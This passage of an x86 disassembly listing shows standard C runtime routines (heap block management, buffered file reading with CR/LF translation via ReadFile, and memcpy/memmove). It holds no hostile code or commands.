sub_41862E+50j ; sub_41862E+5Aj xor eax, eax jmp loc_418908 ; --------------------------------------------------------------------------- loc_4187D0: ; CODE XREF: sub_41862E+47j jge loc_418905 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_4187FB push 3Fh pop esi loc_4187FB: ; CODE XREF: sub_41862E+1C8j test byte ptr [ebp+var_4], 1 jnz loc_418885 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_418814 push 3Fh pop esi loc_418814: ; CODE XREF: sub_41862E+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41885E cmp esi, 20h mov ebx, 80000000h jnb short loc_41883F mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41885B mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41885B ; --------------------------------------------------------------------------- loc_41883F: ; CODE XREF: sub_41862E+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41885B mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41885B: ; CODE XREF: sub_41862E+208j ; sub_41862E+20Fj ... mov ebx, [ebp+arg_4] loc_41885E: ; CODE XREF: sub_41862E+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_418885 push 3Fh pop esi loc_418885: ; CODE XREF: sub_41862E+1D1j ; sub_41862E+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4188FC mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_4188D3 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4188CB mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4188CB: ; CODE XREF: sub_41862E+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_4188F3 ; --------------------------------------------------------------------------- loc_4188D3: ; CODE XREF: sub_41862E+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4188E9 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4188E9: ; CODE XREF: sub_41862E+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_4188F3: ; CODE XREF: sub_41862E+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_4188FC: ; CODE XREF: sub_41862E+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_418905: ; CODE XREF: sub_41862E+196j ; sub_41862E:loc_4187D0j xor eax, eax inc eax loc_418908: ; CODE XREF: sub_41862E+19Dj pop edi pop esi pop ebx leave retn sub_41862E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41890D proc near ; CODE XREF: sub_4149EA+89p ; sub_414C06+2Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, dword_47C984 mov edx, dword_47C988 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_41894A or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_418957 ; --------------------------------------------------------------------------- loc_41894A: ; CODE XREF: sub_41890D+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_418957: ; CODE XREF: sub_41890D+3Bj mov eax, dword_47C990 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_418979 ; --------------------------------------------------------------------------- loc_418965: ; CODE XREF: sub_41890D+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41897E add ebx, 14h cmp ebx, [ebp+var_4] loc_418979: ; CODE XREF: sub_41890D+56j mov [ebp+arg_0], ebx jb short loc_418965 loc_41897E: ; CODE XREF: sub_41890D+64j cmp ebx, [ebp+var_4] jnz short loc_4189A7 mov ebx, edx jmp short loc_418998 ; --------------------------------------------------------------------------- loc_418987: ; CODE XREF: sub_41890D+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41899F add ebx, 14h loc_418998: ; CODE XREF: sub_41890D+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_418987 loc_41899F: ; CODE XREF: sub_41890D+86j cmp ebx, eax jz loc_418A3B loc_4189A7: ; CODE XREF: sub_41890D+74j ; sub_41890D+170j mov dword_47C990, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4189CE mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418A04 loc_4189CE: ; CODE XREF: sub_41890D+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_418A01 loc_4189EA: ; CODE XREF: sub_41890D+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_4189EA loc_418A01: ; CODE XREF: sub_41890D+DBj mov edx, [ebp+var_4] loc_418A04: ; CODE XREF: sub_41890D+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_418A8D mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_418A8D ; --------------------------------------------------------------------------- loc_418A2F: ; CODE XREF: sub_41890D+131j cmp dword ptr [ebx+8], 0 jnz short loc_418A40 add ebx, 14h mov [ebp+arg_0], ebx loc_418A3B: ; CODE XREF: sub_41890D+94j cmp ebx, [ebp+var_4] jb short loc_418A2F loc_418A40: ; CODE XREF: sub_41890D+126j cmp ebx, [ebp+var_4] jnz short loc_418A6B mov ebx, edx jmp short loc_418A52 ; --------------------------------------------------------------------------- loc_418A49: ; CODE XREF: sub_41890D+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_418A59 add ebx, 14h loc_418A52: ; CODE XREF: sub_41890D+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_418A49 loc_418A59: ; CODE XREF: sub_41890D+140j cmp ebx, eax jnz short loc_418A6B call sub_418471 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_418A83 loc_418A6B: ; CODE XREF: sub_41890D+136j ; sub_41890D+14Ej push ebx call sub_418528 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_4189A7 loc_418A83: ; CODE XREF: sub_41890D+15Cj xor eax, eax jmp loc_418C04 ; --------------------------------------------------------------------------- loc_418A8A: ; CODE XREF: sub_41890D+182j shl ecx, 1 inc edi loc_418A8D: ; CODE XREF: sub_41890D+111j ; sub_41890D+120j test ecx, ecx jge short loc_418A8A mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_418AAE push 3Fh pop esi loc_418AAE: ; CODE XREF: sub_41890D+19Cj cmp esi, edi jz loc_418BB7 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418B1A cmp edi, 20h mov ebx, 80000000h jge short loc_418AEE mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_418B17 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_418B1A ; --------------------------------------------------------------------------- loc_418AEE: ; CODE XREF: sub_41890D+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_418B17 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_418B1A ; --------------------------------------------------------------------------- loc_418B17: ; CODE XREF: sub_41890D+1D5j ; sub_41890D+1FDj mov ebx, [ebp+arg_0] loc_418B1A: ; CODE XREF: sub_41890D+1AFj ; sub_41890D+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_418BC3 mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418BB4 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_418B8B cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_418B79 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_418B79: ; CODE XREF: sub_41890D+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_418BB4 ; --------------------------------------------------------------------------- loc_418B8B: ; CODE XREF: sub_41890D+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_418B9E lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_418B9E: ; CODE XREF: sub_41890D+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_418BB4: ; CODE XREF: sub_41890D+247j ; sub_41890D+27Cj mov ecx, [ebp+var_8] loc_418BB7: ; CODE XREF: sub_41890D+1A3j test ecx, ecx jz short loc_418BC6 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_418BC6 ; --------------------------------------------------------------------------- loc_418BC3: ; CODE XREF: sub_41890D+223j mov ecx, [ebp+var_8] loc_418BC6: ; CODE XREF: sub_41890D+2ACj ; sub_41890D+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_418BFC cmp ebx, dword_47C980 jnz short loc_418BFC mov ecx, [ebp+var_4] cmp ecx, dword_47C998 jnz short loc_418BFC and dword_47C980, 0 loc_418BFC: ; CODE XREF: sub_41890D+2D3j ; sub_41890D+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_418C04: ; CODE XREF: sub_41890D+178j pop edi pop esi pop ebx leave retn sub_41890D endp ; =============== S U B R O U T I N E ======================================= sub_418C09 proc near ; CODE XREF: sub_4148B5+AAp ; sub_415C85+44p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_418CE5 test al, 40h jnz loc_418CE5 test al, 2 jz short loc_418C30 or eax, 20h mov [esi+0Ch], eax jmp loc_418CE5 ; --------------------------------------------------------------------------- loc_418C30: ; CODE XREF: sub_418C09+1Aj or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_418C45 push esi call sub_41BFBB pop ecx jmp short loc_418C4A ; --------------------------------------------------------------------------- loc_418C45: ; CODE XREF: sub_418C09+31j mov eax, [esi+8] mov [esi], eax loc_418C4A: ; CODE XREF: sub_418C09+3Aj push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_418EB7 add esp, 0Ch test eax, eax mov [esi+4], eax jz short loc_418CD4 cmp eax, 0FFFFFFFFh jz short loc_418CD4 mov edx, [esi+0Ch] test dl, 82h jnz short loc_418CA9 mov ecx, [esi+10h] cmp ecx, 0FFFFFFFFh push edi jz short loc_418C8F mov edi, ecx sar edi, 5 mov edi, dword_47C640[edi*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_418C94 ; --------------------------------------------------------------------------- loc_418C8F: ; CODE XREF: sub_418C09+6Dj mov edi, offset dword_42E0E0 loc_418C94: ; CODE XREF: sub_418C09+84j mov cl, [edi+4] and cl, 82h cmp cl, 82h pop edi jnz short loc_418CA9 or edx, 2000h mov [esi+0Ch], edx loc_418CA9: ; CODE XREF: sub_418C09+64j ; sub_418C09+95j cmp dword ptr [esi+18h], 200h jnz short loc_418CC6 mov ecx, [esi+0Ch] test cl, 8 jz short loc_418CC6 test ch, 4 jnz short loc_418CC6 mov dword ptr [esi+18h], 1000h loc_418CC6: ; CODE XREF: sub_418C09+A7j ; sub_418C09+AFj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_418CD4: ; CODE XREF: sub_418C09+57j ; sub_418C09+5Cj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_418CE5: ; CODE XREF: sub_418C09+Aj ; sub_418C09+12j ... or eax, 0FFFFFFFFh pop esi retn sub_418C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418CEA proc near ; CODE XREF: sub_418EB7+52p ; sub_41D38D+2A7p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_418EB0 mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] lea edi, ds:47C640h[ecx*4] mov eax, [edi] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_418EB0 test cl, 48h jz short loc_418D50 mov al, [eax+5] cmp al, 0Ah jz short loc_418D50 dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_418D50: ; CODE XREF: sub_418CEA+47j ; sub_418CEA+4Ej push 0 lea eax, [ebp+var_C] push eax push [ebp+arg_8] mov eax, [edi] push edx push dword ptr [eax+esi] call ds:dword_42008C ; ReadFile test eax, eax jnz short loc_418DA2 call ds:dword_420008 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_418D8A call sub_419430 mov dword ptr [eax], 9 call sub_419439 mov [eax], esi jmp short loc_418D9A ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418CEA+8Aj cmp eax, 6Dh jz loc_418EB0 push eax call sub_419442 pop ecx loc_418D9A: ; CODE XREF: sub_418CEA+9Ej or eax, 0FFFFFFFFh jmp loc_418EB2 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418CEA+7Dj mov eax, [edi] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [ecx] test al, al jns loc_418EAB test edx, edx jz short loc_418DC5 cmp byte ptr [ebx], 0Ah jnz short loc_418DC5 or al, 4 jmp short loc_418DC7 ; --------------------------------------------------------------------------- loc_418DC5: ; CODE XREF: sub_418CEA+D0j ; sub_418CEA+D5j and al, 0FBh loc_418DC7: ; CODE XREF: sub_418CEA+D9j mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] add ecx, eax cmp eax, ecx mov [ebp+arg_8], eax mov [ebp+var_8], ecx jnb loc_418EA5 loc_418DDF: ; CODE XREF: sub_418CEA+1A3j mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_418E95 cmp al, 0Dh jz short loc_418DFB mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_418E87 ; --------------------------------------------------------------------------- loc_418DFB: ; CODE XREF: sub_418CEA+104j dec ecx cmp [ebp+arg_8], ecx jnb short loc_418E15 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_418E10 add [ebp+arg_8], 2 jmp short loc_418E69 ; --------------------------------------------------------------------------- loc_418E10: ; CODE XREF: sub_418CEA+11Ej mov [ebp+arg_8], eax jmp short loc_418E83 ; --------------------------------------------------------------------------- loc_418E15: ; CODE XREF: sub_418CEA+115j inc [ebp+arg_8] push 0 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [edi] push dword ptr [eax+esi] call ds:dword_42008C ; ReadFile test eax, eax jnz short loc_418E3D call ds:dword_420008 ; RtlGetLastWin32Error test eax, eax jnz short loc_418E83 loc_418E3D: ; CODE XREF: sub_418CEA+147j cmp [ebp+var_C], 0 jz short loc_418E83 mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_418E5E mov al, [ebp+var_1] cmp al, 0Ah jz short loc_418E69 mov byte ptr [ebx], 0Dh mov ecx, [edi] mov [ecx+esi+5], al jmp short loc_418E86 ; --------------------------------------------------------------------------- loc_418E5E: ; CODE XREF: sub_418CEA+160j cmp ebx, [ebp+arg_4] jnz short loc_418E6E cmp [ebp+var_1], 0Ah jnz short loc_418E6E loc_418E69: ; CODE XREF: sub_418CEA+124j ; sub_418CEA+167j mov byte ptr [ebx], 0Ah jmp short loc_418E86 ; --------------------------------------------------------------------------- loc_418E6E: ; CODE XREF: sub_418CEA+177j ; sub_418CEA+17Dj push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41B178 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_418E87 loc_418E83: ; CODE XREF: sub_418CEA+129j ; sub_418CEA+151j ... mov byte ptr [ebx], 0Dh loc_418E86: ; CODE XREF: sub_418CEA+172j ; sub_418CEA+182j inc ebx loc_418E87: ; CODE XREF: sub_418CEA+10Cj ; sub_418CEA+197j mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_418DDF jmp short loc_418EA5 ; --------------------------------------------------------------------------- loc_418E95: ; CODE XREF: sub_418CEA+FCj mov eax, [edi] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_418EA5 or al, 2 mov [esi], al loc_418EA5: ; CODE XREF: sub_418CEA+EFj ; sub_418CEA+1A9j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_418EAB: ; CODE XREF: sub_418CEA+C8j mov eax, [ebp+var_8] jmp short loc_418EB2 ; --------------------------------------------------------------------------- loc_418EB0: ; CODE XREF: sub_418CEA+16j ; sub_418CEA+3Ej ... xor eax, eax loc_418EB2: ; CODE XREF: sub_418CEA+B3j ; sub_418CEA+1C4j pop edi pop esi pop ebx leave retn sub_418CEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EB7 proc near ; CODE XREF: sub_4148B5+91p ; sub_418C09+4Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00418F46 SIZE 0000001C BYTES push 0Ch push offset stru_429010 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47C638 jnb short loc_418F46 mov eax, ebx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_418F46 push ebx call sub_41CB8C pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_418F16 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_418CEA add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_418F2D ; --------------------------------------------------------------------------- loc_418F16: ; CODE XREF: sub_418EB7+49j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_418F2D: ; CODE XREF: sub_418EB7+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_418F3E mov eax, [ebp+var_1C] jmp short loc_418F5C sub_418EB7 endp ; =============== S U B R O U T I N E ======================================= sub_418F3B proc near ; DATA XREF: .rdata:stru_429010o mov ebx, [ebp+8] sub_418F3B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418F3E proc near ; CODE XREF: sub_418EB7+7Ap push ebx call sub_41CBFF pop ecx retn sub_418F3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418EB7 loc_418F46: ; CODE XREF: sub_418EB7+15j ; sub_418EB7+35j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_418F5C: ; CODE XREF: sub_418EB7+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_418EB7 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F70 proc near ; CODE XREF: sub_4148B5+5Fp ; sub_4149EA+A8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_418F90 cmp edi, eax jb loc_41910C loc_418F90: ; CODE XREF: sub_418F70+16j test edi, 3 jnz short loc_418FAC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418FCC rep movsd jmp ds:off_4190BC[edx*4] ; --------------------------------------------------------------------------- loc_418FAC: ; CODE XREF: sub_418F70+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418FC4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_418FCC+4[eax*4] ; --------------------------------------------------------------------------- loc_418FC4: ; CODE XREF: sub_418F70+46j jmp dword ptr ds:loc_4190CC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_418FCC: ; CODE XREF: sub_418F70+31j ; sub_418F70+8Ej ... jmp ds:off_419050[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418FDC+4 dd offset loc_41900C ; --------------------------------------------------------------------------- loc_418FDC: ; DATA XREF: sub_418F70+64o xor [eax-2EDCFFBFh], dl mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_418FCC rep movsd jmp ds:off_4190BC[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41900C: ; DATA XREF: sub_418F70+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_418FCC rep movsd jmp ds:off_4190BC[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_418FCC rep movsd jmp ds:off_4190BC[edx*4] ; --------------------------------------------------------------------------- align 10h off_419050 dd offset loc_4190B3 ; DATA XREF: sub_418F70:loc_418FCCr dd offset loc_4190A0 dd offset loc_419098 dd offset loc_419090 dd offset loc_419088 dd offset loc_419080 dd offset loc_419078 dd offset loc_419070 ; --------------------------------------------------------------------------- loc_419070: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_419078: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_419080: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_419088: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_419090: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_419098: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4190A0: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4190B3: ; CODE XREF: sub_418F70:loc_418FCCj ; DATA XREF: sub_418F70:off_419050o jmp ds:off_4190BC[edx*4] ; --------------------------------------------------------------------------- align 4 off_4190BC dd offset loc_4190CC ; DATA XREF: sub_418F70+35r ; sub_418F70+92r ... dd offset loc_4190D4 dd offset loc_4190E0 dd offset loc_4190F4 ; --------------------------------------------------------------------------- loc_4190CC: ; CODE XREF: sub_418F70+35j ; sub_418F70+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4190D4: ; CODE XREF: sub_418F70+35j ; sub_418F70+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4190E0: ; CODE XREF: sub_418F70+35j ; sub_418F70+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4190F4: ; CODE XREF: sub_418F70+35j ; sub_418F70+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41910C: ; CODE XREF: sub_418F70+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_419140 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_419134 std rep movsd cld jmp ds:off_419258[edx*4] ; --------------------------------------------------------------------------- align 4 loc_419134: ; CODE XREF: sub_418F70+1B5j ; sub_418F70+210j ... neg ecx jmp ds:off_419208[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_419140: ; CODE XREF: sub_418F70+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_419158 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_419158+4[eax*4] ; --------------------------------------------------------------------------- loc_419158: ; CODE XREF: sub_418F70+1DAj ; DATA XREF: sub_418F70+1E1r jmp ds:off_419258[ecx*4] ; --------------------------------------------------------------------------- align 10h dd offset loc_41916C dd offset loc_419190 dd offset loc_4191B8 ; --------------------------------------------------------------------------- loc_41916C: ; DATA XREF: sub_418F70+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_419134 std rep movsd cld jmp ds:off_419258[edx*4] ; --------------------------------------------------------------------------- align 10h loc_419190: ; DATA XREF: sub_418F70+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_419134 std rep movsd cld jmp ds:off_419258[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4191B8: ; DATA XREF: sub_418F70+1F8o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_419134 std rep movsd cld jmp ds:off_419258[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41920C dd offset loc_419214 dd offset loc_41921C dd offset loc_419224 dd offset loc_41922C dd offset loc_419234 dd offset loc_41923C off_419208 dd offset loc_41924F ; DATA XREF: sub_418F70+1C6r ; --------------------------------------------------------------------------- loc_41920C: ; DATA XREF: sub_418F70+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_419214: ; DATA XREF: sub_418F70+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41921C: ; DATA XREF: sub_418F70+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_419224: 